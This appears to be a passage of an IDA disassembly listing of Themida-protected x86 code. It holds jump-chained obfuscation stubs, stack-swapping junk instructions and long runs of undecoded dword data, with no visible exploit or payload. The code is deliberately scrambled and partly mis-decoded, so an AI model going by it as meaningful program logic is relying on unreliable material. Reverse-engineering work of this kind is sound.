		dd 5352D830h, 0F4B656B7h, 59BDE9h, 5AD30100h, 446EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5DF0A5:				; CODE XREF: Themida_:005E6BCDj
		add	esp, 2
		push	7C45h
		mov	[esp], ecx
		jmp	loc_5E08D4
; ---------------------------------------------------------------------------
		dd 76E9CE01h, 56000074h, 473FBD55h, 0EDC1240Ah,	0C1E5D108h
		dd 0F58105E5h, 765EE04Dh, 295DEE89h, 7578E9F7h,	0E9580000h
		dd 2289h, 2A8E955h, 0E95A0000h,	68ACh, 0FAE9E789h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DF0F7:				; CODE XREF: Themida_:005E16ADj
		pop	esp
		jmp	loc_5E6D71
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0E9h
		dd 5C485CC1h, 0C181F101h, 5C485CC1h, 5EFCE95Eh,	0C3810000h
		dd 45AC0AE9h, 0EA34C381h, 0DF211413h, 4DDE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DF126:				; CODE XREF: Themida_:005E7AE3j
		dec	bl
		neg	bl
		sub	bl, 0E5h
		add	al, bl
		pop	ebx
		pop	edx
		xor	bl, al
		movzx	eax, al
		jmp	loc_5DFDC5
; ---------------------------------------------------------------------------
aRits_q		db 'R_',0
		dw 0BE00h
		dd 1D4917DCh, 1694E9h, 81E18900h, 4C1h,	4C18100h, 87000000h
		dd 0E4E9240Ch, 10000ACh, 0B6E95DE8h, 50000054h,	0D97D07B8h
		dd 804EE90Ah, 0C7010000h, 24FCE958h, 1880000h, 241C8B59h
		dd 0FFFD83E9h, 0FE95DFFh, 50000058h, 4EC81h, 0AFE90000h
		dd 5A000083h, 2904F000h, 148BD12Ch, 4C48124h, 83000000h
		dd 148904ECh, 0C053B624h, 0C6FE08E6h, 68h, 4012E900h, 0B2520000h
		dd 1923E943h, 815F0000h, 4C7h, 4EC8100h, 89000000h, 0EC83240Ch
		dd 241C8904h, 7F3BE9h, 148B6600h, 2C48124h, 0D0000000h
		dd 0B45066E3h, 0E9E3003Fh, 4EAFh
; ---------------------------------------------------------------------------


loc_5DF1FC:				; CODE XREF: Themida_:005E09B0j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5E929C
; ---------------------------------------------------------------------------
aIrwsU		db 'W ',0
		align 2
		dw 8358h
		dd 348702C6h, 9E67E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DF21E:				; CODE XREF: Themida_:005E5A28j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_5DE8A7
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 3B1D559Dh, 8904EC83h, 14F72414h, 0F7525A24h,	555A2414h
		dd 0B64231BDh, 82E58175h, 0C10EF74Eh, 0ED8105EDh, 68BD63E3h
		dd 30ECD81h, 0E9455BA7h, 8444h,	23E9D0F7h, 83FFFFF8h, 815304C4h
		dd 4ECh, 24048900h, 6AC9E9h, 0A8CD8100h, 0E911573Fh, 1BDAh
; ---------------------------------------------------------------------------


loc_5DF284:				; CODE XREF: Themida_:005E6B60j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, 54725B20h
		shl	edx, 5
		jmp	loc_5E5F61
; ---------------------------------------------------------------------------


loc_5DF29C:				; CODE XREF: Themida_:005E51BFj
		push	ecx
		mov	ch, dh
		mov	bh, ch
		jmp	loc_5E6F1A
; ---------------------------------------------------------------------------


loc_5DF2A6:				; CODE XREF: Themida_:005E24ADj
		shr	edx, 1
		push	ecx
		push	edi
		jmp	loc_5E66BB
; ---------------------------------------------------------------------------
		db 0B5h
		dd 8DCD80F8h, 0FFFD57E9h, 0F00166FFh, 7940566h,	31F82D66h
		dd 3C8B665Eh, 16506824h, 34890000h, 81E68924h, 4C6h, 2C68100h
		dd 87000000h, 815C2434h, 4ECh, 4A8E900h, 41490000h, 589E9h
		dd 0C4815900h, 4, 3477E9h, 24348700h, 4676E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DF30A:				; CODE XREF: Themida_:005E9A2Dj
		pop	esp
		mov	[esp], esi
		mov	esi, 10000h
		and	eax, esi
		pop	esi
		shr	eax, 10h
		jmp	loc_5E9F82
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 24148904h, 31F8E954h, 0EE880000h, 5178E959h
		dd 6CB80000h, 3569E470h, 69E47068h, 24348150h, 3C06263Fh
		dd 3FF18159h, 583C0626h, 0E959CA01h, 4787h, 4C781h, 0EF830000h
		dd 243C8704h, 243C895Ch, 0FFFFFFBFh, 0DAEA81FFh, 0E977F90Ch
		dd 47ABh, 5C243487h, 0E9241489h, 9B8Bh,	16850h,	34FF0000h
		dd 840E924h, 74FF0000h,	8F5D0424h, 0FF5C2404h, 0E8E92434h
		dd 81000053h, 4EEh, 24348700h, 8924248Bh, 0B951243Ch, 3D456BC8h
		dd 83C18141h, 0E9260F28h, 40CEh, 4C181h, 0C1830000h, 74FF5104h
		dd 8F590424h, 515C2404h, 5E9E189h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DF3DF:				; CODE XREF: Themida_:005DDE5Dj
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_5E33F4
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 0ABh
		dd 68FFFFF7h, 14h, 2658E9h, 0E7B8E900h,	0A9B1FFFFh, 8904EC83h
		dd 0DEE9241Ch, 29000073h, 5B04245Ch, 33B6858h, 0C890000h
		dd 657A6824h, 1C890000h, 555CBB24h, 0D9896A52h,	0F6C1815Bh
		dd 0C17AA238h, 814903E1h, 0C17F9FE9h, 7ABEE91Fh, 53410000h
		dd 42A9E9h, 75E95500h, 66000078h, 6648C768h, 52240C89h
		dd 0D2F65EB2h, 9C1E951h, 0B0680000h, 89000026h,	0ECB22414h
		dd 4C9BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5DF475:				; CODE XREF: Themida_:005E038Aj
		xor	edi, 0F0853F2h
		mov	ecx, [esp]
		jmp	loc_5E105E
; ---------------------------------------------------------------------------
aMsM		db '/M',0
		db 0
; ---------------------------------------------------------------------------


loc_5DF489:				; CODE XREF: Themida_:005E49D1j
		pop	edi
		add	ecx, 1C90F9B2h
		mov	eax, ecx
		pop	ecx
		jmp	loc_5E036A
; ---------------------------------------------------------------------------
		dd 8B240487h, 35E92424h, 9300002Bh, 0C381D3F7h,	0C54F2Ch
		dd 0E95BDF89h, 8932h, 582434FFh, 6A0668h, 24148900h, 8904EC83h
		dd 0B9512424h, 4, 4244C01h, 0DDE95A59h,	83000042h, 0E5E904ECh
		dd 890000A3h, 0D9F75AD1h, 7008E981h, 0E1C18669h, 0D0E98107h
		dd 8169A238h, 33F991C1h, 59C80150h, 8904EC83h, 69BE2434h
		dd 14BFD79h, 5B0DE9F0h,	0E0890000h, 405h, 8DBE5600h, 81500371h
		dd 37189EEh, 7BBF5750h,	1116A7Eh, 67E95FF8h, 1000071h
		dd 34875AD6h, 4FE5C24h,	0F4E99C24h, 8100006Ah, 842153E6h
		dd 0C6E68141h, 550B0573h, 0A505E9h, 0F665F00h, 62E900B6h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DF55B:				; CODE XREF: Themida_:005DF85Ej
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5DE306
; ---------------------------------------------------------------------------
		db 68h,	6Ah, 5
		dd 14890000h, 0C67BBA24h, 0FE2D610Dh, 0E91E1A3Dh, 8FEEh
		dd 24048F54h, 4240481h,	0E9000000h, 0FFFFFC3Ah,	4C481h
		dd 0BD550000h, 0DB56ED27h, 215DEF29h, 2434FFF9h, 4C4835Fh
		dd 57E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5DF5AD:				; CODE XREF: Themida_:005E4F22j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 127B6B80h
		shl	ebp, 5
		sub	ebp, 8EF1D70h
		shl	ebp, 2
		shr	ebp, 3
		jmp	loc_5E1F7F
; ---------------------------------------------------------------------------
		db 31h,	0E8h, 8Bh
		dd 0C483242Ch, 0E9555604h, 186Dh
; ---------------------------------------------------------------------------


loc_5DF5DC:				; CODE XREF: Themida_:005DE8AEj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5E1B3E
; ---------------------------------------------------------------------------
		db 59h,	1, 7Ch
		dd 8B5F0424h, 0B4E9243Ch, 8100000Bh, 1C710DCFh,	0FAB1E976h
		dd 0D508FFFFh, 0B353665Ah, 18C580BBh, 0FFEDDAE9h, 88F988FFh
		dd 240C8BCAh, 4C481h, 1C8B0000h, 0E0895024h, 405h, 95F5E900h
		dd 51AC0000h, 0E9C098B1h, 50E98003h, 42F180h, 0D80059C8h
		dd 0FFFE02E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DF651:				; CODE XREF: Themida_:005E7CCEj
		xor	edx, 6D355E81h
		xor	edx, 7E972D83h
		jmp	loc_5E6DA6
; ---------------------------------------------------------------------------
		dw 0F74Dh
		dd 48CD81D5h, 817F5B77h, 0FFFF5BEDh, 0E9EB01FFh, 0FFFFFB11h
		dd 0F63C6B8h, 63C43562h, 0B850620Fh, 38CA244Ah,	0D0F7D8F7h
		dd 452E8435h, 74690565h, 0C629FAA7h, 983EE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DF69E:				; CODE XREF: Themida_:005DF7DCj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		push	eax
		jmp	loc_5E1217
; ---------------------------------------------------------------------------
		db 56h
		dd 42474FFh, 5E2434FFh,	4C481h,	48F0000h, 740FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DF6C2:				; CODE XREF: Themida_:005E096Bj
		push	55FAh
		jmp	loc_5E51D6
; ---------------------------------------------------------------------------


loc_5DF6CC:				; CODE XREF: Themida_:005E2C57j
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5DF75C
; ---------------------------------------------------------------------------
		dd 89241C89h, 4C381E3h,	55000000h, 1B21E9h, 3AB85000h
		dd 0C115493Ah, 0E0C104E0h, 445C2D08h, 0C7312507h, 9AFE9h
		dd 50DFF700h, 0C52122B8h, 4DA2353Ah, 0C731C567h, 8124048Bh
		dd 4ECh, 241C8900h, 45E9E389h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DF723:				; CODE XREF: Themida_:005DDD6Bj
		sub	esi, ebx
		jmp	loc_5E1B6C
; ---------------------------------------------------------------------------


loc_5DF72A:				; CODE XREF: Themida_:005DECECj
		mov	esp, [esp]
		jmp	loc_5E59BD
; ---------------------------------------------------------------------------


loc_5DF732:				; CODE XREF: Themida_:005E64AEj
		sub	edx, 6AFBC726h
		add	eax, edx
		pop	edx
		jmp	loc_5E4230
; ---------------------------------------------------------------------------


loc_5DF740:				; CODE XREF: Themida_:005E0A9Aj
		mov	cl, 0D7h
		inc	cl
		xor	cl, 8Bh
		and	dl, cl
		pop	ecx
		shl	dl, 4
		shr	dl, 1
		xchg	ah, dl
		push	bx
		mov	bl, ah
		not	bl
		jmp	loc_5E1627
; ---------------------------------------------------------------------------


loc_5DF75C:				; CODE XREF: Themida_:005DF6D3j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5E0866
; ---------------------------------------------------------------------------


loc_5DF76E:				; CODE XREF: Themida_:005E5164j
		mov	edx, esi
		jmp	loc_5DDD2B
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aST		db '$~',0
		align 2
		dw 0D587h
		dd 2474FF55h, 48F5D04h,	0E430E924h, 0C580FFFFh,	6449E9E5h
		dd 2C890000h, 52BD6624h, 66516664h, 66FFFFB9h, 48E9CD29h
		dd 29000080h, 5B22DD8h,	0E95675B3h, 605Dh, 4C5815Ah, 87000000h
		dd 0FF5C242Ch, 0DBE92434h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DF7CB:				; CODE XREF: Themida_:005E28D4j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5DF69E
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 6424248Bh, 0CFE90288h, 81FFFFE3h, 0B25F9ECEh, 26CE8128h
		dd 0E9341C46h, 4533h, 0DCE95A66h, 0E90000A0h, 0FFFFE3B2h
; ---------------------------------------------------------------------------


loc_5DF80C:				; CODE XREF: Themida_:005E11D3j
		add	esp, 4
		push	edx
		pop	ebx
		pop	edx
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5E5248
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4BE56h, 0F7290000h, 243C875Eh, 242C895Ch, 0F44373BDh
		dd 1028E96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DF852:				; CODE XREF: Themida_:005DEE0Cj
		push	ebx
		mov	bh, ch
		mov	al, bh
		pop	ebx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5DF55B
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0F66E1F6h, 6866CCB6h, 89665971h, 0F66240Ch, 5166C8B6h
		dd 0E340E99Ch, 0F181FFFFh, 670963D0h, 5D2FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5DF889:				; CODE XREF: Themida_:005E9EB2j
		mov	edi, 5DF84BFCh
		and	edi, 5E260149h
		xor	edi, 34DC5C6Bh
		sub	esi, edi
		pop	edi
		xor	eax, esi
		pop	esi
		push	ebx
		jmp	loc_5E35AD
; ---------------------------------------------------------------------------


loc_5DF8A6:				; CODE XREF: Themida_:005E7786j
		sub	ecx, 740D6E10h
		jmp	loc_5E897F
; ---------------------------------------------------------------------------
		db 5Dh,	50h, 57h
		dd 62836855h, 0A4E93909h, 31FFFFE7h, 241C8BDEh,	4C481h
		dd 5A560000h, 8124348Bh, 4C4h, 6EF4E900h, 685B0000h, 7A7Dh
		dd 0FF243489h, 5E042474h, 8B24048Fh, 0D3662424h, 0E99C2404h
		dd 0FFFFE2C6h, 0E9240489h, 3115h, 0FF241489h, 8B042474h
		dd 0C4832414h, 24048F04h, 0E924248Bh, 3482h
; ---------------------------------------------------------------------------


loc_5DF918:				; CODE XREF: Themida_:005E203Bj
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		jmp	loc_5DFA36
; ---------------------------------------------------------------------------
		dd 4C481h, 0E9570000h, 693h, 4EE9435Eh,	52000018h, 1940E9h
		dd 24248B00h, 68C8BF0Fh, 2C34h,	0E9240C89h, 0FFFFE266h
		dd 5F7BC581h, 815F3D22h, 4C5h, 242C8700h, 5E8FE9h, 81D2F700h
		dd 0D562B6F2h, 21B85044h, 352F5C0Eh, 30E940EFh,	8158C221h
		dd 0EEF582C2h, 5AD701EEh, 8DEBE9h, 7F83AD00h, 840F0020h
		dd 29B9h, 5D4C681h, 0C68131B5h,	1AF651D1h, 0BB53C601h
		dd 5B2C300Ch, 4AAAE9h, 34815300h, 0C04B6E24h, 0F7815F70h
		dd 70C04B6Eh, 5DF1E9h, 0E3895300h, 4C381h, 90E90000h, 81000039h
		dd 4377D1EBh, 0F4E95962h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DF9E3:				; CODE XREF: Themida_:005DE6E4j
		mov	eax, 598D65BCh
		jmp	loc_5DDF3A
; ---------------------------------------------------------------------------
aXs_v		db 'X.v',0
		dw 8B00h
aSG		db '$$G',0
		db 0
; ---------------------------------------------------------------------------


loc_5DF9FB:				; CODE XREF: Themida_:005DDCC4j
		pop	eax
		sub	edx, ecx
		pop	ecx
		not	edx
		jmp	loc_5DE58A
; ---------------------------------------------------------------------------
		dw 0E9D1h
		dd 8108E1C1h, 0AF1FFEE9h, 59CB8931h, 34FFD901h,	0E9505B24h
		dd 9067h, 0E959CE29h, 0FFFFF950h, 8124348Bh, 4C4h, 3AF4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DFA36:				; CODE XREF: Themida_:005DF927j
		pop	esp
		sub	esp, 4
		jmp	loc_5E726E
; ---------------------------------------------------------------------------
		dw 3968h
		dd 89000021h, 6857242Ch, 70540F4Ch, 9C07E95Fh, 0B2520000h
		dd 0DBCA8019h, 5056E9h,	24048B00h, 8F04C483h, 248B2404h
		dd 48B6624h, 0E1895124h, 4C181h, 0E9810000h, 4,	2474FF51h
		dd 48F5904h, 34E1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DFA8E:				; CODE XREF: Themida_:005E5E9Ej
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_5E8BF8
; ---------------------------------------------------------------------------


loc_5DFA9B:				; CODE XREF: Themida_:005E6C51j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5E3AC9
; ---------------------------------------------------------------------------
		dd 0C781DF29h, 3E8E38F8h, 9D84E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DFABA:				; CODE XREF: Themida_:005E8266j
		add	esp, 4
		push	54B8h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_5E0B8F
; ---------------------------------------------------------------------------
aYsdx		db 'YDx',0
		db 0
; ---------------------------------------------------------------------------


loc_5DFAE5:				; CODE XREF: Themida_:005E0D1Bj
		push	edx
		mov	edx, 79C800E3h
		xor	edx, 47A10E5h
		add	edx, 230A1C09h
		inc	edx
		dec	edx
		jmp	loc_5E64A8
; ---------------------------------------------------------------------------


loc_5DFAFE:				; CODE XREF: Themida_:005E2FF4j
		add	eax, 6C320ED8h
		sub	eax, ebp
		sub	eax, 6C320ED8h
		pop	ebp
		jmp	loc_5E931E
; ---------------------------------------------------------------------------
		dd 4EA81h, 14870000h, 40ACE924h, 4B90000h, 1000000h, 0FF5259CAh
		dd 5A042474h, 0E924048Fh, 427Ah, 4C181h, 0C1830000h, 240C3304h
		dd 8CBFE9h, 0C8B5400h, 4C48124h, 0E9000000h, 591Ch
; ---------------------------------------------------------------------------


loc_5DFB54:				; CODE XREF: Themida_:005E680Cj
		add	ebx, 10A94DC5h
		jmp	loc_5DDE57
; ---------------------------------------------------------------------------
		db 0BBh
		dd 7B454AC7h, 252CF381h, 0D9210715h, 0FFE253E9h, 575B5DFFh
		dd 661588BFh, 5FFB0106h, 4ED3C381h, 0AAE97FEDh,	0B5000055h
		dd 6A48E98Bh, 0B1510000h, 6E9C090h, 21E9C1FEh
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DFB9B:				; CODE XREF: Themida_:005E348Dj
		add	ebx, edx
		jmp	loc_5E1CE4
; ---------------------------------------------------------------------------
		dw 5A68h
		dd 89000036h, 0FE92414h, 0FFFFE0h, 5858E3h, 26E952C3h
		dd 8B000049h, 0E9532424h, 82C5h, 68C2815Eh, 295ED43Dh
		dd 9368E9C2h, 48B0000h,	4C48124h, 81000000h, 4C4h, 1C470900h
		dd 87C1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5DFBE9:				; CODE XREF: Themida_:005E48FCj
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5E672A
; ---------------------------------------------------------------------------
		dw 34FFh
aXsmb		db '$X錁',0
		dw 5E00h
		dd 7BE868h, 0EE9FE900h,	8B66FFFFh, 9268240Ch, 89000022h
		dd 0A7E92434h, 58000009h, 71F86850h, 0ABE96AF1h, 55000051h
		dd 4BDh, 0FFEE0100h, 0E95D2434h, 74BDh,	6B95E981h, 0CD29FD65h
		dd 3CB95159h, 81446616h, 0E06312C1h, 34C18110h,	317FA35Fh
		dd 0E80159CDh, 0FFE1FDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DFC65:				; CODE XREF: Themida_:005E35CFj
		pop	ecx
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5DEF91
; ---------------------------------------------------------------------------
		db 59h
		dd 8B243C87h, 2CD22424h, 37E99C24h, 66FFFFDFh, 5024048Bh
		dd 405E089h, 2D000000h,	4, 0E9240487h, 7F74h, 122AC181h
		dd 0C101702Ch, 122AE981h, 0C181702Ch, 7BB06F28h, 8124048Bh
		dd 4C4h, 2BA5200h, 0E9000000h, 8C7Ah, 48BC501h,	4C48124h
		dd 1000000h, 6BED81D5h,	0E94C2A7Eh, 0FFFFFAD8h,	70A8685Bh
		dd 0C890000h, 81E18924h, 4C1h, 4C18300h, 5C240C87h, 0D828152Ch
		dd 0A1E91504h, 81000000h, 85FC44C5h, 5DEE01ADh,	32ACE955h
		dd 0A4050000h, 5711E530h, 68418FBFh, 0CF814709h, 59FA2397h
		dd 925EE9h, 4C48300h, 0F750925Ah, 48B2414h, 0F4E95724h
		dd 0FE000070h, 5966240Ch, 0C0ECC980h, 34E905E1h, 1000024h
		dd 34875FFEh, 24248B24h, 51C8AF0Fh, 0F6A3E99Ch,	0EA80FFFFh
		dd 42E9590Bh
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DFD67:				; CODE XREF: Themida_:005DE35Bj
		push	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_5E625E
; ---------------------------------------------------------------------------
aPA@hsgy	db 'P',27h,'a@Hy',0
		align 2
		dw 0C481h
		dd 4, 0FFEB69E9h, 5B5453FFh, 4C381h, 0C3830000h, 241C8704h
		dd 0FF24248Bh, 0E99C240Ch, 0FFFFDE1Ah, 224B68h,	241C8900h
		dd 9BE914B7h, 8100004Ah, 962F97EAh, 0CA814242h,	5B075121h
		dd 8A7BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5DFDC5:				; CODE XREF: Themida_:005DF136j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 0A074E9h
		db 0
; ---------------------------------------------------------------------------


loc_5DFDCD:				; CODE XREF: Themida_:005E94FDj
		mov	ecx, 47DD0BEDh
		jmp	loc_5E3DD7
; ---------------------------------------------------------------------------


loc_5DFDD7:				; CODE XREF: Themida_:005E98BFj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_5E2677
; ---------------------------------------------------------------------------
		dw 0C9FEh
		dd 0B6C180h, 0EBE959C8h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DFDF3:				; CODE XREF: Themida_:005E707Dj
		xor	esi, [esp]
		jmp	loc_5E775B
; ---------------------------------------------------------------------------
		db 0FFh
a4Xh_		db '4$Xh_',0
		align 4
		dd 0E9240C89h, 9D0Fh, 9BF6815Eh, 1F7DFBFh, 0C7835EF7h
		dd 243C3304h, 6BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5DFE21:				; CODE XREF: Themida_:005E3B33j
		push	edx
		jmp	loc_5DE6CC
; ---------------------------------------------------------------------------
aSsi		db 'S<',0
		dd 2434FF00h, 8B545758h, 0F2E9243Ch, 1000038h, 0F4E959CEh
		dd 81FFFFDEh, 26663DC2h, 5AD08939h, 0E958C501h,	0FFFFF063h
; ---------------------------------------------------------------------------


loc_5DFE54:				; CODE XREF: Themida_:005E9CEFj
		mov	ebp, ebx
		pop	ebx
		xor	ebx, ebp
		jmp	loc_5E57D6
; ---------------------------------------------------------------------------
		dw 34FFh
aXvics		db '$XVӜ',0
		align 2
		dw 7429h
		dd 15E0824h, 81042444h,	0E0042444h, 8167A924h, 0F6042444h
		dd 58631B60h, 0FFDD35E9h, 241C87FFh, 0E924248Bh, 0FFFFDD2Ah
		dd 85E3815Eh, 5253A37Ah, 9676DBAh, 0FEC28144h, 29D706B7h
		dd 0E3C15AD3h, 52D76803h, 34890000h, 63E66824h,	348B660Bh
		dd 289DE924h, 81B90000h, 49250076h, 3550E9h, 24248900h
		dd 4240483h, 4B44E9h, 241C8900h, 9CA1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5DFEE1:				; CODE XREF: Themida_:005DE252j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		pop	edx
		push	5510h
		mov	[esp], eax
		jmp	loc_5DDBBE
; ---------------------------------------------------------------------------


loc_5DFEF9:				; CODE XREF: Themida_:005E8F82j
		pop	edx
		sub	ebx, 559B30F0h
		mov	ecx, [ebx]
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 587B1890h
		jmp	loc_5E09C7
; ---------------------------------------------------------------------------
		dd 4402E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DFF32:				; CODE XREF: Themida_:005E59D6j
		mov	ecx, [esp]
		push	5031h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 70144579h
		xor	esi, 7014457Dh
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5E4953
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 68D82900h, 65F4h, 55243489h, 0FFDF30E9h, 0C8B66FFh
		dd 33836824h, 17E90000h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DFF8B:				; CODE XREF: Themida_:005E775Ej
		xor	esi, [esp]
		pop	esp
		jmp	loc_5E6B49
; ---------------------------------------------------------------------------


loc_5DFF94:				; CODE XREF: Themida_:005E6767j
		push	eax
		jmp	loc_5DE4BF
; ---------------------------------------------------------------------------
		dw 0A768h
		dd 5D51AC53h, 594AC581h, 0F5815926h, 33BB47C0h,	3E5FF581h
		dd 0F58148EEh, 3C686761h, 43E1E9h, 24048700h, 0FFD0305Ch
		dd 0D0E92434h, 0BF000072h, 908749Dh, 5295E9h, 0DCE95A00h
		dd 1000019h, 52515EF5h,	0E6429DBAh, 47EA8104h, 814B7C48h
		dd 277FD8E2h, 36CA816Eh, 815A3428h, 357A72EAh, 5AD1897Ah
		dd 2D62C581h, 0ED8122E8h, 17EC7F55h, 0C581CD01h, 17EC7F55h
		dd 2D62ED81h, 0E95922E8h, 6736h, 27636856h, 34FF56DAh
		dd 54575E24h, 6C64E9h, 0AAE95300h, 81000086h, 4C4h, 24048B00h
		dd 4C481h, 0FEE90000h, 50000090h, 2B8h,	58C10100h, 0E9E38953h
		dd 98ABh, 33243C31h, 248B243Ch,	7AB2E924h, 14890000h, 4049BA24h
		dd 0D73170BDh, 0EFC14F5Ah, 0A2EF8108h, 100991Dh, 0ED815FFDh
		dd 2, 8B242C87h, 89662424h, 42E92404h, 8100001Dh, 6D006BC5h
		dd 81DD015Ah, 6D006BEDh, 0DDC5815Ah, 0E904C720h, 53AAh
		dd 8324048Bh, 666804C4h, 89000030h, 3481243Ch, 865E7A24h
		dd 0E955580Ch, 912Eh, 56240489h, 4BEh, 7B40E900h, 1C890000h
		dd 8CC9BB24h, 0E9814AC7h, 4CF475Fh, 0C181D901h,	4CF475Fh
		dd 81241C8Bh, 4C4h, 4D7D2D00h, 0C8012799h, 755FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5E0105:				; CODE XREF: Themida_:005DEB30j
		pop	esp
		push	ebx
		mov	ebx, 48DC4955h
		jmp	loc_5E0ED9
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0B6h
		dd 38686602h, 489662Dh,	6150E924h, 88510000h, 59EA88DDh
		dd 652C595Bh, 0A5E9D028h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E0133:				; CODE XREF: Themida_:005E0EEAj
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5E88AA
; ---------------------------------------------------------------------------
		db 81h
		dd 56776FE9h, 0A8E95E06h, 68FFFFECh, 50050317h,	30EEE958h
		dd 3C870000h, 4895C24h,	55585424h, 4BDh, 8BE80100h, 0C483242Ch
		dd 20504h, 0EC830000h, 24048904h, 42474FFh, 0FFF8E4E9h
		dd 5D43BAFFh, 0D2F764C3h, 0E232EA81h, 0D3014491h, 6419E9h
		dd 0ACE95600h, 87FFFFEFh, 248B2434h, 91AEE924h,	14890000h
		dd 2BA24h, 0C5810000h, 70A524F7h, 0CEE9D501h, 83000093h
		dd 0C78104C4h, 4, 2EF81h, 3C330000h, 243C3124h,	8B243C33h
		dd 0A4E92424h, 83000052h, 48904ECh, 5DD9B824h, 99E94C94h
		dd 81000041h, 297E22C6h, 20778972h, 8C9BE9h, 3C77FF00h
		dd 0BFDE953h, 0C4810000h, 2, 288AF580h,	0D82859E8h, 0C62CEE04h
		dd 683E9h, 81D3F700h, 582FE6E3h, 0EEF0E913h, 0C89FFFFh
		dd 0CDBA5224h, 0F758CC68h, 5E15E9DAh, 0B9510000h, 749F6311h
		dd 3C06E9h, 0DF874F00h,	2825E943h, 0FE5B0000h, 0EC8350CAh
		dd 241C8904h, 0C76859B7h, 89000079h, 78B5240Ch,	0EDC0D5F6h
		dd 7ED8007h, 59E888h, 7A6CE9F8h, 0F7810000h, 0FFF7FFFDh
		dd 815FFB89h, 0C073C7EEh, 483E92Bh, 0FE010000h,	2434875Fh
		dd 39AEE9h, 0C4835900h,	5BF82004h, 5A6168h, 241C8900h
